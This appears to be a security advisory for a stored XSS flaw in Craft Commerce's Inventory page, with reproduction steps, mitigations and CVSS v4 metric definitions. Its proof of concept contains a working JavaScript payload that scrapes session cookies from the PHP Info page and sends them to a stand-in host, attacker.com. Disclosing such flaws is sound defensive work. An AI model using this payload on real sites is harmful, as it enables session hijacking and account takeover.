Description

Summary

Stored XSS vulnerabilities exist in the Commerce Inventory page. The Product Title, Variant Title, and Variant SKU fields are rendered without proper HTML escaping, allowing an attacker to execute arbitrary JavaScript when any user (including administrators) views the inventory management page.

This vulnerability enables session hijacking by fetching the PHP Info utility page, which displays unmasked session cookies. Unlike other XSS chains that require elevated sessions, this attack provides instant access to the victim’s session - no additional user interaction or elevated session approval required.

Proof of Concept

Permissions Required

  • Access the control panel
  • Access Craft Commerce
  • Create/Edit products

Steps to Reproduce

  1. Log in to the control panel
  2. Navigate to Commerce → Products
  3. Add a new product and set the Title field to: (replace https://attacker.com) 
    <img src=x onerror="fetch('/admin/utilities/php-info').then(r=>r.text()).then(t=>{m=t.match(/<th[^>]*>Cookie[^<]*<\/th>\s*<td[^>]*>([\s\S]*?)<\/td>/);if(m)new Image().src='https://attacker.com/s?c='+btoa(m[1])})">
  4. Save the product
  5. Navigate to Commerce → Inventory (/admin/commerce/inventory)
  6. XSS executes, fetches PHP Info page, extracts session cookies, and exfiltrates them to the attacker server

Cookie Extraction Details

The PHP Info page (/admin/utilities/php-info) displays cookie values (unmasked) in multiple locations:

  • HTTP_COOKIE
  • Cookie (used in this PoC)
  • $_SERVER['HTTP_COOKIE']
  • $_COOKIE['<cookie-name>']

Notes

  • The same vulnerability exists in Variant Title and Variant SKU fields while creating a product. The PoC focuses on Product Title, but the same attack works for the other two fields.
  • $_COOKIE['CRAFT_CSRF_TOKEN'] is masked in PHP Info, but the unmasked value is available in the other parameters listed above.
  • This vulnerability can also be chained to achieve full database exfiltration or do it after hijacking an administrator session.

Mitigation

  1. Sanitize product and variant fields when rendering in the inventory template
  2. Mask sensitive cookie values in the PHP Info utility page (similar to how CRAFT_CSRF_TOKEN, CRAFT_SECURITY_KEY, and CRAFT_DB_PASSWORD are already masked)

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
